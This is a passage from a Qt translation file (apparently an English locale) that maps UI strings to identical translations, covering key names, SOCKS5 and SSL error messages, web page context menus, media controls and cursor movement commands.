- <message>
- <source>Travel</source>
- <translation>Travel</translation>
- </message>
- <message>
- <source>Video</source>
- <translation>Video</translation>
- </message>
- <message>
- <source>Word Processor</source>
- <translation>Word Processor</translation>
- </message>
- <message>
- <source>XFer</source>
- <translation>XFer</translation>
- </message>
- <message>
- <source>Zoom In</source>
- <translation>Zoom In</translation>
- </message>
- <message>
- <source>Zoom Out</source>
- <translation>Zoom Out</translation>
- </message>
- <message>
- <source>Away</source>
- <translation>Away</translation>
- </message>
- <message>
- <source>Messenger</source>
- <translation>Messenger</translation>
- </message>
- <message>
- <source>WebCam</source>
- <translation>WebCam</translation>
- </message>
- <message>
- <source>Mail Forward</source>
- <translation>Mail Forward</translation>
- </message>
- <message>
- <source>Pictures</source>
- <translation>Pictures</translation>
- </message>
- <message>
- <source>Music</source>
- <translation>Music</translation>
- </message>
- <message>
- <source>Battery</source>
- <translation>Battery</translation>
- </message>
- <message>
- <source>Bluetooth</source>
- <translation>Bluetooth</translation>
- </message>
- <message>
- <source>Wireless</source>
- <translation>Wireless</translation>
- </message>
- <message>
- <source>Ultra Wide Band</source>
- <translation>Ultra Wide Band</translation>
- </message>
- <message>
- <source>Audio Forward</source>
- <translation>Audio Forward</translation>
- </message>
- <message>
- <source>Audio Repeat</source>
- <translation>Audio Repeat</translation>
- </message>
- <message>
- <source>Audio Random Play</source>
- <translation>Audio Random Play</translation>
- </message>
- <message>
- <source>Subtitle</source>
- <translation>Subtitle</translation>
- </message>
- <message>
- <source>Audio Cycle Track</source>
- <translation>Audio Cycle Track</translation>
- </message>
- <message>
- <source>Time</source>
- <translation>Time</translation>
- </message>
- <message>
- <source>View</source>
- <translation>View</translation>
- </message>
- <message>
- <source>Top Menu</source>
- <translation>Top Menu</translation>
- </message>
- <message>
- <source>Suspend</source>
- <translation>Suspend</translation>
- </message>
- <message>
- <source>Hibernate</source>
- <translation>Hibernate</translation>
- </message>
- <message>
- <source>Print Screen</source>
- <translation>Print Screen</translation>
- </message>
- <message>
- <source>Page Up</source>
- <translation>Page Up</translation>
- </message>
- <message>
- <source>Page Down</source>
- <translation>Page Down</translation>
- </message>
- <message>
- <source>Caps Lock</source>
- <translation>Caps Lock</translation>
- </message>
- <message>
- <source>Num Lock</source>
- <translation>Num Lock</translation>
- </message>
- <message>
- <source>Number Lock</source>
- <translation>Number Lock</translation>
- </message>
- <message>
- <source>Scroll Lock</source>
- <translation>Scroll Lock</translation>
- </message>
- <message>
- <source>Insert</source>
- <translation>Insert</translation>
- </message>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- <message>
- <source>Escape</source>
- <translation>Escape</translation>
- </message>
- <message>
- <source>System Request</source>
- <translation>System Request</translation>
- </message>
- <message>
- <source>Select</source>
- <translation>Select</translation>
- </message>
- <message>
- <source>Yes</source>
- <translation>Yes</translation>
- </message>
- <message>
- <source>No</source>
- <translation>No</translation>
- </message>
- <message>
- <source>Context1</source>
- <translation>Context1</translation>
- </message>
- <message>
- <source>Context2</source>
- <translation>Context2</translation>
- </message>
- <message>
- <source>Context3</source>
- <translation>Context3</translation>
- </message>
- <message>
- <source>Context4</source>
- <translation>Context4</translation>
- </message>
- <message>
- <source>Call</source>
- <translation>Call</translation>
- </message>
- <message>
- <source>Hangup</source>
- <translation>Hangup</translation>
- </message>
- <message>
- <source>Flip</source>
- <translation>Flip</translation>
- </message>
- <message>
- <source>Ctrl</source>
- <translation>Ctrl</translation>
- </message>
- <message>
- <source>Shift</source>
- <translation>Shift</translation>
- </message>
- <message>
- <source>Alt</source>
- <translation>Alt</translation>
- </message>
- <message>
- <source>Meta</source>
- <translation>Meta</translation>
- </message>
- <message>
- <source>+</source>
- <translation>+</translation>
- </message>
- <message>
- <source>F%1</source>
- <translation>F%1</translation>
- </message>
- <message>
- <source>Home Page</source>
- <translation>Home Page</translation>
- </message>
- </context>
- <context>
- <name>QSlider</name>
- <message>
- <source>Page left</source>
- <translation>Page left</translation>
- </message>
- <message>
- <source>Page up</source>
- <translation>Page up</translation>
- </message>
- <message>
- <source>Position</source>
- <translation>Position</translation>
- </message>
- <message>
- <source>Page right</source>
- <translation>Page right</translation>
- </message>
- <message>
- <source>Page down</source>
- <translation>Page down</translation>
- </message>
- </context>
- <context>
- <name>QSocks5SocketEngine</name>
- <message>
- <source>Connection to proxy refused</source>
- <translation>Connection to proxy refused</translation>
- </message>
- <message>
- <source>Connection to proxy closed prematurely</source>
- <translation>Connection to proxy closed prematurely</translation>
- </message>
- <message>
- <source>Proxy host not found</source>
- <translation>Proxy host not found</translation>
- </message>
- <message>
- <source>Connection to proxy timed out</source>
- <translation>Connection to proxy timed out</translation>
- </message>
- <message>
- <source>Proxy authentication failed</source>
- <translation>Proxy authentication failed</translation>
- </message>
- <message>
- <source>Proxy authentication failed: %1</source>
- <translation>Proxy authentication failed: %1</translation>
- </message>
- <message>
- <source>SOCKS version 5 protocol error</source>
- <translation>SOCKS version 5 protocol error</translation>
- </message>
- <message>
- <source>General SOCKSv5 server failure</source>
- <translation>General SOCKSv5 server failure</translation>
- </message>
- <message>
- <source>Connection not allowed by SOCKSv5 server</source>
- <translation>Connection not allowed by SOCKSv5 server</translation>
- </message>
- <message>
- <source>TTL expired</source>
- <translation>TTL expired</translation>
- </message>
- <message>
- <source>SOCKSv5 command not supported</source>
- <translation>SOCKSv5 command not supported</translation>
- </message>
- <message>
- <source>Address type not supported</source>
- <translation>Address type not supported</translation>
- </message>
- <message>
- <source>Unknown SOCKSv5 proxy error code 0x%1</source>
- <translation>Unknown SOCKSv5 proxy error code 0x%1</translation>
- </message>
- <message>
- <source>Network operation timed out</source>
- <translation>Network operation timed out</translation>
- </message>
- </context>
- <context>
- <name>QSoftKeyManager</name>
- <message>
- <source>Ok</source>
- <translation>Ok</translation>
- </message>
- <message>
- <source>Select</source>
- <translation>Select</translation>
- </message>
- <message>
- <source>Done</source>
- <translation>Done</translation>
- </message>
- <message>
- <source>Options</source>
- <translation>Options</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- <message>
- <source>Exit</source>
- <translation>Exit</translation>
- </message>
- </context>
- <context>
- <name>QSpinBox</name>
- <message>
- <source>More</source>
- <translation>More</translation>
- </message>
- <message>
- <source>Less</source>
- <translation>Less</translation>
- </message>
- </context>
- <context>
- <name>QSql</name>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- <message>
- <source>Delete this record?</source>
- <translation>Delete this record?</translation>
- </message>
- <message>
- <source>Yes</source>
- <translation>Yes</translation>
- </message>
- <message>
- <source>No</source>
- <translation>No</translation>
- </message>
- <message>
- <source>Insert</source>
- <translation>Insert</translation>
- </message>
- <message>
- <source>Update</source>
- <translation>Update</translation>
- </message>
- <message>
- <source>Save edits?</source>
- <translation>Save edits?</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- <message>
- <source>Confirm</source>
- <translation>Confirm</translation>
- </message>
- <message>
- <source>Cancel your edits?</source>
- <translation>Cancel your edits?</translation>
- </message>
- </context>
- <context>
- <name>QSslSocket</name>
- <message>
- <source>Unable to write data: %1</source>
- <translation>Unable to write data: %1</translation>
- </message>
- <message>
- <source>Unable to decrypt data: %1</source>
- <translation>Unable to decrypt data: %1</translation>
- </message>
- <message>
- <source>Error while reading: %1</source>
- <translation>Error while reading: %1</translation>
- </message>
- <message>
- <source>Error during SSL handshake: %1</source>
- <translation>Error during SSL handshake: %1</translation>
- </message>
- <message>
- <source>Error creating SSL context (%1)</source>
- <translation>Error creating SSL context (%1)</translation>
- </message>
- <message>
- <source>Invalid or empty cipher list (%1)</source>
- <translation>Invalid or empty cipher list (%1)</translation>
- </message>
- <message>
- <source>Private key does not certify public key, %1</source>
- <translation>Private key does not certify public key, %1</translation>
- </message>
- <message>
- <source>Error creating SSL session, %1</source>
- <translation>Error creating SSL session, %1</translation>
- </message>
- <message>
- <source>Error creating SSL session: %1</source>
- <translation>Error creating SSL session: %1</translation>
- </message>
- <message>
- <source>Cannot provide a certificate with no key, %1</source>
- <translation>Cannot provide a certificate with no key, %1</translation>
- </message>
- <message>
- <source>Error loading local certificate, %1</source>
- <translation>Error loading local certificate, %1</translation>
- </message>
- <message>
- <source>Error loading private key, %1</source>
- <translation>Error loading private key, %1</translation>
- </message>
- <message>
- <source>No error</source>
- <translation>No error</translation>
- </message>
- <message>
- <source>The issuer certificate could not be found</source>
- <translation>The issuer certificate could not be found</translation>
- </message>
- <message>
- <source>The certificate signature could not be decrypted</source>
- <translation>The certificate signature could not be decrypted</translation>
- </message>
- <message>
- <source>The public key in the certificate could not be read</source>
- <translation>The public key in the certificate could not be read</translation>
- </message>
- <message>
- <source>The signature of the certificate is invalid</source>
- <translation>The signature of the certificate is invalid</translation>
- </message>
- <message>
- <source>The certificate is not yet valid</source>
- <translation>The certificate is not yet valid</translation>
- </message>
- <message>
- <source>The certificate has expired</source>
- <translation>The certificate has expired</translation>
- </message>
- <message>
- <source>The certificate&apos;s notBefore field contains an invalid time</source>
- <translation>The certificate&apos;s notBefore field contains an invalid time</translation>
- </message>
- <message>
- <source>The certificate&apos;s notAfter field contains an invalid time</source>
- <translation>The certificate&apos;s notAfter field contains an invalid time</translation>
- </message>
- <message>
- <source>The certificate is self-signed, and untrusted</source>
- <translation>The certificate is self-signed, and untrusted</translation>
- </message>
- <message>
- <source>The root certificate of the certificate chain is self-signed, and untrusted</source>
- <translation>The root certificate of the certificate chain is self-signed, and untrusted</translation>
- </message>
- <message>
- <source>The issuer certificate of a locally looked up certificate could not be found</source>
- <translation>The issuer certificate of a locally looked up certificate could not be found</translation>
- </message>
- <message>
- <source>No certificates could be verified</source>
- <translation>No certificates could be verified</translation>
- </message>
- <message>
- <source>One of the CA certificates is invalid</source>
- <translation>One of the CA certificates is invalid</translation>
- </message>
- <message>
- <source>The basicConstraints path length parameter has been exceeded</source>
- <translation>The basicConstraints path length parameter has been exceeded</translation>
- </message>
- <message>
- <source>The supplied certificate is unsuitable for this purpose</source>
- <translation>The supplied certificate is unsuitable for this purpose</translation>
- </message>
- <message>
- <source>The root CA certificate is not trusted for this purpose</source>
- <translation>The root CA certificate is not trusted for this purpose</translation>
- </message>
- <message>
- <source>The root CA certificate is marked to reject the specified purpose</source>
- <translation>The root CA certificate is marked to reject the specified purpose</translation>
- </message>
- <message>
- <source>The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate</source>
- <translation>The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate</translation>
- </message>
- <message>
- <source>The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate</source>
- <translation>The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate</translation>
- </message>
- <message>
- <source>The peer did not present any certificate</source>
- <translation>The peer did not present any certificate</translation>
- </message>
- <message>
- <source>The host name did not match any of the valid hosts for this certificate</source>
- <translation>The host name did not match any of the valid hosts for this certificate</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- </context>
- <context>
- <name>QStateMachine</name>
- <message>
- <source>Missing initial state in compound state &apos;%1&apos;</source>
- <translation>Missing initial state in compound state &apos;%1&apos;</translation>
- </message>
- <message>
- <source>Missing default state in history state &apos;%1&apos;</source>
- <translation>Missing default state in history state &apos;%1&apos;</translation>
- </message>
- <message>
- <source>No common ancestor for targets and source of transition from state &apos;%1&apos;</source>
- <translation>No common ancestor for targets and source of transition from state &apos;%1&apos;</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- </context>
- <context>
- <name>QSystemSemaphore</name>
- <message>
- <source>%1: does not exist</source>
- <translation>%1: does not exist</translation>
- </message>
- <message>
- <source>%1: out of resources</source>
- <translation>%1: out of resources</translation>
- </message>
- <message>
- <source>%1: permission denied</source>
- <translation>%1: permission denied</translation>
- </message>
- <message>
- <source>%1: already exists</source>
- <translation>%1: already exists</translation>
- </message>
- <message>
- <source>%1: unknown error %2</source>
- <translation>%1: unknown error %2</translation>
- </message>
- </context>
- <context>
- <name>QTDSDriver</name>
- <message>
- <source>Unable to open connection</source>
- <translation>Unable to open connection</translation>
- </message>
- <message>
- <source>Unable to use database</source>
- <translation>Unable to use database</translation>
- </message>
- </context>
- <context>
- <name>QTabBar</name>
- <message>
- <source>Scroll Left</source>
- <translation>Scroll Left</translation>
- </message>
- <message>
- <source>Scroll Right</source>
- <translation>Scroll Right</translation>
- </message>
- </context>
- <context>
- <name>QTcpServer</name>
- <message>
- <source>Operation on socket is not supported</source>
- <translation>Operation on socket is not supported</translation>
- </message>
- </context>
- <context>
- <name>QTextControl</name>
- <message>
- <source>&amp;Undo</source>
- <translation>&amp;Undo</translation>
- </message>
- <message>
- <source>&amp;Redo</source>
- <translation>&amp;Redo</translation>
- </message>
- <message>
- <source>Cu&amp;t</source>
- <translation>Cu&amp;t</translation>
- </message>
- <message>
- <source>&amp;Copy</source>
- <translation>&amp;Copy</translation>
- </message>
- <message>
- <source>Copy &amp;Link Location</source>
- <translation>Copy &amp;Link Location</translation>
- </message>
- <message>
- <source>&amp;Paste</source>
- <translation>&amp;Paste</translation>
- </message>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- <message>
- <source>Select All</source>
- <translation>Select All</translation>
- </message>
- </context>
- <context>
- <name>QToolButton</name>
- <message>
- <source>Press</source>
- <translation>Press</translation>
- </message>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- </context>
- <context>
- <name>QUdpSocket</name>
- <message>
- <source>This platform does not support IPv6</source>
- <translation>This platform does not support IPv6</translation>
- </message>
- </context>
- <context>
- <name>QUndoGroup</name>
- <message>
- <source>Undo</source>
- <translation>Undo</translation>
- </message>
- <message>
- <source>Redo</source>
- <translation>Redo</translation>
- </message>
- </context>
- <context>
- <name>QUndoModel</name>
- <message>
- <source>&lt;empty&gt;</source>
- <translation>&lt;empty&gt;</translation>
- </message>
- </context>
- <context>
- <name>QUndoStack</name>
- <message>
- <source>Undo</source>
- <translation>Undo</translation>
- </message>
- <message>
- <source>Redo</source>
- <translation>Redo</translation>
- </message>
- </context>
- <context>
- <name>QUnicodeControlCharacterMenu</name>
- <message>
- <source>LRM Left-to-right mark</source>
- <translation>LRM Left-to-right mark</translation>
- </message>
- <message>
- <source>RLM Right-to-left mark</source>
- <translation>RLM Right-to-left mark</translation>
- </message>
- <message>
- <source>ZWJ Zero width joiner</source>
- <translation>ZWJ Zero width joiner</translation>
- </message>
- <message>
- <source>ZWNJ Zero width non-joiner</source>
- <translation>ZWNJ Zero width non-joiner</translation>
- </message>
- <message>
- <source>ZWSP Zero width space</source>
- <translation>ZWSP Zero width space</translation>
- </message>
- <message>
- <source>LRE Start of left-to-right embedding</source>
- <translation>LRE Start of left-to-right embedding</translation>
- </message>
- <message>
- <source>RLE Start of right-to-left embedding</source>
- <translation>RLE Start of right-to-left embedding</translation>
- </message>
- <message>
- <source>LRO Start of left-to-right override</source>
- <translation>LRO Start of left-to-right override</translation>
- </message>
- <message>
- <source>RLO Start of right-to-left override</source>
- <translation>RLO Start of right-to-left override</translation>
- </message>
- <message>
- <source>PDF Pop directional formatting</source>
- <translation>PDF Pop directional formatting</translation>
- </message>
- <message>
- <source>Insert Unicode control character</source>
- <translation>Insert Unicode control character</translation>
- </message>
- </context>
- <context>
- <name>QWebFrame</name>
- <message>
- <source>Request cancelled</source>
- <translation>Request cancelled</translation>
- </message>
- <message>
- <source>Request blocked</source>
- <translation>Request blocked</translation>
- </message>
- <message>
- <source>Cannot show URL</source>
- <translation>Cannot show URL</translation>
- </message>
- <message>
- <source>Frame load interrupted by policy change</source>
- <translation>Frame load interrupted by policy change</translation>
- </message>
- <message>
- <source>Cannot show mimetype</source>
- <translation>Cannot show mimetype</translation>
- </message>
- <message>
- <source>File does not exist</source>
- <translation>File does not exist</translation>
- </message>
- </context>
- <context>
- <name>QWebPage</name>
- <message>
- <source>Submit</source>
- <comment>default label for Submit buttons in forms on web pages</comment>
- <translation>Submit</translation>
- </message>
- <message>
- <source>Submit</source>
- <comment>Submit (input element) alt text for &lt;input&gt; elements with no alt, title, or value</comment>
- <translation>Submit</translation>
- </message>
- <message>
- <source>Reset</source>
- <comment>default label for Reset buttons in forms on web pages</comment>
- <translation>Reset</translation>
- </message>
- <message>
- <source>Choose File</source>
- <comment>title for file button used in HTML forms</comment>
- <translation>Choose File</translation>
- </message>
- <message>
- <source>No file selected</source>
- <comment>text to display in file button used in HTML forms when no file is selected</comment>
- <translation>No file selected</translation>
- </message>
- <message>
- <source>Open in New Window</source>
- <comment>Open in New Window context menu item</comment>
- <translation>Open in New Window</translation>
- </message>
- <message>
- <source>Save Link...</source>
- <comment>Download Linked File context menu item</comment>
- <translation>Save Link...</translation>
- </message>
- <message>
- <source>Copy Link</source>
- <comment>Copy Link context menu item</comment>
- <translation>Copy Link</translation>
- </message>
- <message>
- <source>Open Image</source>
- <comment>Open Image in New Window context menu item</comment>
- <translation>Open Image</translation>
- </message>
- <message>
- <source>Save Image</source>
- <comment>Download Image context menu item</comment>
- <translation>Save Image</translation>
- </message>
- <message>
- <source>Copy Image</source>
- <comment>Copy Link context menu item</comment>
- <translation>Copy Image</translation>
- </message>
- <message>
- <source>Open Frame</source>
- <comment>Open Frame in New Window context menu item</comment>
- <translation>Open Frame</translation>
- </message>
- <message>
- <source>Copy</source>
- <comment>Copy context menu item</comment>
- <translation>Copy</translation>
- </message>
- <message>
- <source>Go Back</source>
- <comment>Back context menu item</comment>
- <translation>Go Back</translation>
- </message>
- <message>
- <source>Go Forward</source>
- <comment>Forward context menu item</comment>
- <translation>Go Forward</translation>
- </message>
- <message>
- <source>Stop</source>
- <comment>Stop context menu item</comment>
- <translation>Stop</translation>
- </message>
- <message>
- <source>Reload</source>
- <comment>Reload context menu item</comment>
- <translation>Reload</translation>
- </message>
- <message>
- <source>Cut</source>
- <comment>Cut context menu item</comment>
- <translation>Cut</translation>
- </message>
- <message>
- <source>Paste</source>
- <comment>Paste context menu item</comment>
- <translation>Paste</translation>
- </message>
- <message>
- <source>No Guesses Found</source>
- <comment>No Guesses Found context menu item</comment>
- <translation>No Guesses Found</translation>
- </message>
- <message>
- <source>Ignore</source>
- <comment>Ignore Spelling context menu item</comment>
- <translation>Ignore</translation>
- </message>
- <message>
- <source>Add To Dictionary</source>
- <comment>Learn Spelling context menu item</comment>
- <translation>Add To Dictionary</translation>
- </message>
- <message>
- <source>Search The Web</source>
- <comment>Search The Web context menu item</comment>
- <translation>Search The Web</translation>
- </message>
- <message>
- <source>Look Up In Dictionary</source>
- <comment>Look Up in Dictionary context menu item</comment>
- <translation>Look Up In Dictionary</translation>
- </message>
- <message>
- <source>Open Link</source>
- <comment>Open Link context menu item</comment>
- <translation>Open Link</translation>
- </message>
- <message>
- <source>Ignore</source>
- <comment>Ignore Grammar context menu item</comment>
- <translation>Ignore</translation>
- </message>
- <message>
- <source>Spelling</source>
- <comment>Spelling and Grammar context sub-menu item</comment>
- <translation>Spelling</translation>
- </message>
- <message>
- <source>Show Spelling and Grammar</source>
- <comment>menu item title</comment>
- <translation>Show Spelling and Grammar</translation>
- </message>
- <message>
- <source>Hide Spelling and Grammar</source>
- <comment>menu item title</comment>
- <translation>Hide Spelling and Grammar</translation>
- </message>
- <message>
- <source>Check Spelling</source>
- <comment>Check spelling context menu item</comment>
- <translation>Check Spelling</translation>
- </message>
- <message>
- <source>Check Spelling While Typing</source>
- <comment>Check spelling while typing context menu item</comment>
- <translation>Check Spelling While Typing</translation>
- </message>
- <message>
- <source>Check Grammar With Spelling</source>
- <comment>Check grammar with spelling context menu item</comment>
- <translation>Check Grammar With Spelling</translation>
- </message>
- <message>
- <source>Fonts</source>
- <comment>Font context sub-menu item</comment>
- <translation>Fonts</translation>
- </message>
- <message>
- <source>Bold</source>
- <comment>Bold context menu item</comment>
- <translation>Bold</translation>
- </message>
- <message>
- <source>Italic</source>
- <comment>Italic context menu item</comment>
- <translation>Italic</translation>
- </message>
- <message>
- <source>Underline</source>
- <comment>Underline context menu item</comment>
- <translation>Underline</translation>
- </message>
- <message>
- <source>Outline</source>
- <comment>Outline context menu item</comment>
- <translation>Outline</translation>
- </message>
- <message>
- <source>Direction</source>
- <comment>Writing direction context sub-menu item</comment>
- <translation>Direction</translation>
- </message>
- <message>
- <source>Text Direction</source>
- <comment>Text direction context sub-menu item</comment>
- <translation>Text Direction</translation>
- </message>
- <message>
- <source>Default</source>
- <comment>Default writing direction context menu item</comment>
- <translation>Default</translation>
- </message>
- <message>
- <source>Left to Right</source>
- <comment>Left to Right context menu item</comment>
- <translation>Left to Right</translation>
- </message>
- <message>
- <source>Right to Left</source>
- <comment>Right to Left context menu item</comment>
- <translation>Right to Left</translation>
- </message>
- <message>
- <source>Loading...</source>
- <comment>Media controller status message when the media is loading</comment>
- <translation>Loading...</translation>
- </message>
- <message>
- <source>Live Broadcast</source>
- <comment>Media controller status message when watching a live broadcast</comment>
- <translation>Live Broadcast</translation>
- </message>
- <message>
- <source>Audio Element</source>
- <comment>Media controller element</comment>
- <translation>Audio Element</translation>
- </message>
- <message>
- <source>Video Element</source>
- <comment>Media controller element</comment>
- <translation>Video Element</translation>
- </message>
- <message>
- <source>Mute Button</source>
- <comment>Media controller element</comment>
- <translation>Mute Button</translation>
- </message>
- <message>
- <source>Unmute Button</source>
- <comment>Media controller element</comment>
- <translation>Unmute Button</translation>
- </message>
- <message>
- <source>Play Button</source>
- <comment>Media controller element</comment>
- <translation>Play Button</translation>
- </message>
- <message>
- <source>Pause Button</source>
- <comment>Media controller element</comment>
- <translation>Pause Button</translation>
- </message>
- <message>
- <source>Slider</source>
- <comment>Media controller element</comment>
- <translation>Slider</translation>
- </message>
- <message>
- <source>Slider Thumb</source>
- <comment>Media controller element</comment>
- <translation>Slider Thumb</translation>
- </message>
- <message>
- <source>Rewind Button</source>
- <comment>Media controller element</comment>
- <translation>Rewind Button</translation>
- </message>
- <message>
- <source>Return to Real-time Button</source>
- <comment>Media controller element</comment>
- <translation>Return to Real-time Button</translation>
- </message>
- <message>
- <source>Elapsed Time</source>
- <comment>Media controller element</comment>
- <translation>Elapsed Time</translation>
- </message>
- <message>
- <source>Remaining Time</source>
- <comment>Media controller element</comment>
- <translation>Remaining Time</translation>
- </message>
- <message>
- <source>Status Display</source>
- <comment>Media controller element</comment>
- <translation>Status Display</translation>
- </message>
- <message>
- <source>Fullscreen Button</source>
- <comment>Media controller element</comment>
- <translation>Fullscreen Button</translation>
- </message>
- <message>
- <source>Seek Forward Button</source>
- <comment>Media controller element</comment>
- <translation>Seek Forward Button</translation>
- </message>
- <message>
- <source>Seek Back Button</source>
- <comment>Media controller element</comment>
- <translation>Seek Back Button</translation>
- </message>
- <message>
- <source>Audio element playback controls and status display</source>
- <comment>Media controller element</comment>
- <translation>Audio element playback controls and status display</translation>
- </message>
- <message>
- <source>Video element playback controls and status display</source>
- <comment>Media controller element</comment>
- <translation>Video element playback controls and status display</translation>
- </message>
- <message>
- <source>Mute audio tracks</source>
- <comment>Media controller element</comment>
- <translation>Mute audio tracks</translation>
- </message>
- <message>
- <source>Unmute audio tracks</source>
- <comment>Media controller element</comment>
- <translation>Unmute audio tracks</translation>
- </message>
- <message>
- <source>Begin playback</source>
- <comment>Media controller element</comment>
- <translation>Begin playback</translation>
- </message>
- <message>
- <source>Pause playback</source>
- <comment>Media controller element</comment>
- <translation>Pause playback</translation>
- </message>
- <message>
- <source>Movie time scrubber</source>
- <comment>Media controller element</comment>
- <translation>Movie time scrubber</translation>
- </message>
- <message>
- <source>Movie time scrubber thumb</source>
- <comment>Media controller element</comment>
- <translation>Movie time scrubber thumb</translation>
- </message>
- <message>
- <source>Rewind movie</source>
- <comment>Media controller element</comment>
- <translation>Rewind movie</translation>
- </message>
- <message>
- <source>Return streaming movie to real-time</source>
- <comment>Media controller element</comment>
- <translation>Return streaming movie to real-time</translation>
- </message>
- <message>
- <source>Current movie time</source>
- <comment>Media controller element</comment>
- <translation>Current movie time</translation>
- </message>
- <message>
- <source>Remaining movie time</source>
- <comment>Media controller element</comment>
- <translation>Remaining movie time</translation>
- </message>
- <message>
- <source>Current movie status</source>
- <comment>Media controller element</comment>
- <translation>Current movie status</translation>
- </message>
- <message>
- <source>Play movie in full-screen mode</source>
- <comment>Media controller element</comment>
- <translation>Play movie in full-screen mode</translation>
- </message>
- <message>
- <source>Seek quickly back</source>
- <comment>Media controller element</comment>
- <translation>Seek quickly back</translation>
- </message>
- <message>
- <source>Seek quickly forward</source>
- <comment>Media controller element</comment>
- <translation>Seek quickly forward</translation>
- </message>
- <message>
- <source>Indefinite time</source>
- <comment>Media time description</comment>
- <translation>Indefinite time</translation>
- </message>
- <message>
- <source>%1 days %2 hours %3 minutes %4 seconds</source>
- <comment>Media time description</comment>
- <translation>%1 days %2 hours %3 minutes %4 seconds</translation>
- </message>
- <message>
- <source>%1 hours %2 minutes %3 seconds</source>
- <comment>Media time description</comment>
- <translation>%1 hours %2 minutes %3 seconds</translation>
- </message>
- <message>
- <source>%1 minutes %2 seconds</source>
- <comment>Media time description</comment>
- <translation>%1 minutes %2 seconds</translation>
- </message>
- <message>
- <source>%1 seconds</source>
- <comment>Media time description</comment>
- <translation>%1 seconds</translation>
- </message>
- <message>
- <source>Inspect</source>
- <comment>Inspect Element context menu item</comment>
- <translation>Inspect</translation>
- </message>
- <message>
- <source>No recent searches</source>
- <comment>Label for only item in menu that appears when clicking on the search field image, when no searches have been performed</comment>
- <translation>No recent searches</translation>
- </message>
- <message>
- <source>Recent searches</source>
- <comment>label for first item in the menu that appears when clicking on the search field image, used as embedded menu title</comment>
- <translation>Recent searches</translation>
- </message>
- <message>
- <source>Clear recent searches</source>
- <comment>menu item in Recent Searches menu that empties menu&apos;s contents</comment>
- <translation>Clear recent searches</translation>
- </message>
- <message>
- <source>Unknown</source>
- <comment>Unknown filesize FTP directory listing item</comment>
- <translation>Unknown</translation>
- </message>
- <message>
- <source>Web Inspector - %2</source>
- <translation>Web Inspector - %2</translation>
- </message>
- <message>
- <source>%1 (%2x%3 pixels)</source>
- <comment>Title string for images</comment>
- <translation>%1 (%2x%3 pixels)</translation>
- </message>
- <message>
- <source>Bad HTTP request</source>
- <translation>Bad HTTP request</translation>
- </message>
- <message>
- <source>This is a searchable index. Enter search keywords: </source>
- <comment>text that appears at the start of nearly-obsolete web pages in the form of a &apos;searchable index&apos;</comment>
- <translation>This is a searchable index. Enter search keywords: </translation>
- </message>
- <message>
- <source>Scroll here</source>
- <translation>Scroll here</translation>
- </message>
- <message>
- <source>Left edge</source>
- <translation>Left edge</translation>
- </message>
- <message>
- <source>Top</source>
- <translation>Top</translation>
- </message>
- <message>
- <source>Right edge</source>
- <translation>Right edge</translation>
- </message>
- <message>
- <source>Bottom</source>
- <translation>Bottom</translation>
- </message>
- <message>
- <source>Page left</source>
- <translation>Page left</translation>
- </message>
- <message>
- <source>Page up</source>
- <translation>Page up</translation>
- </message>
- <message>
- <source>Page right</source>
- <translation>Page right</translation>
- </message>
- <message>
- <source>Page down</source>
- <translation>Page down</translation>
- </message>
- <message>
- <source>Scroll left</source>
- <translation>Scroll left</translation>
- </message>
- <message>
- <source>Scroll up</source>
- <translation>Scroll up</translation>
- </message>
- <message>
- <source>Scroll right</source>
- <translation>Scroll right</translation>
- </message>
- <message>
- <source>Scroll down</source>
- <translation>Scroll down</translation>
- </message>
- <message numerus="yes">
- <source>%n file(s)</source>
- <comment>number of chosen file</comment>
- <translation>
- <numerusform>%n file(s)</numerusform>
- <numerusform>%n file(s)</numerusform>
- </translation>
- </message>
- <message>
- <source>JavaScript Alert - %1</source>
- <translation>JavaScript Alert - %1</translation>
- </message>
- <message>
- <source>JavaScript Confirm - %1</source>
- <translation>JavaScript Confirm - %1</translation>
- </message>
- <message>
- <source>JavaScript Prompt - %1</source>
- <translation>JavaScript Prompt - %1</translation>
- </message>
- <message>
- <source>JavaScript Problem - %1</source>
- <translation>JavaScript Problem - %1</translation>
- </message>
- <message>
- <source>The script on this page appears to have a problem. Do you want to stop the script?</source>
- <translation>The script on this page appears to have a problem. Do you want to stop the script?</translation>
- </message>
- <message>
- <source>Move the cursor to the next character</source>
- <translation>Move the cursor to the next character</translation>
- </message>
- <message>
- <source>Move the cursor to the previous character</source>
- <translation>Move the cursor to the previous character</translation>
- </message>
- <message>
- <source>Move the cursor to the next word</source>
- <translation>Move the cursor to the next word</translation>
- </message>
- <message>
- <source>Move the cursor to the previous word</source>
- <translation>Move the cursor to the previous word</translation>
- </message>
- <message>
- <source>Move the cursor to the next line</source>
- <translation>Move the cursor to the next line</translation>
- </message>
- <message>
- <source>Move the cursor to the previous line</source>
- <translation>Move the cursor to the previous line</translation>
- </message>
- <message>
- <source>Move the cursor to the start of the line</source>
- <translation>Move the cursor to the start of the line</translation>
- </message>
- <message>
- <source>Move the cursor to the end of the line</source>
- <translation>Move the cursor to the end of the line</translation>
- </message>
- <message>
- <source>Move the cursor to the start of the block</source>
- <translation>Move the cursor to the start of the block</translation>
- </message>
- <message>
- <source>Move the cursor to the end of the block</source>
- <translation>Move the cursor to the end of the block</translation>
- </message>
- <message>
- <source>Move the cursor to the start of the document</source>
- <translation>Move the cursor to the start of the document</translation>
- </message>
- <message>
- <source>Move the cursor to the end of the document</source>
- <translation>Move the cursor to the end of the document</translation>
- </message>
- <message>
- <source>Select all</source>
- <translation>Select all</translation>
- </message>
- <message>
- <source>Select to the next character</source>
- <translation>Select to the next character</translation>
- </message>
- <message>
- <source>Select to the previous character</source>
- <translation>Select to the previous character</translation>
- </message>
- <message>
- <source>Select to the next word</source>
- <translation>Select to the next word</translation>
- </message>
- <message>
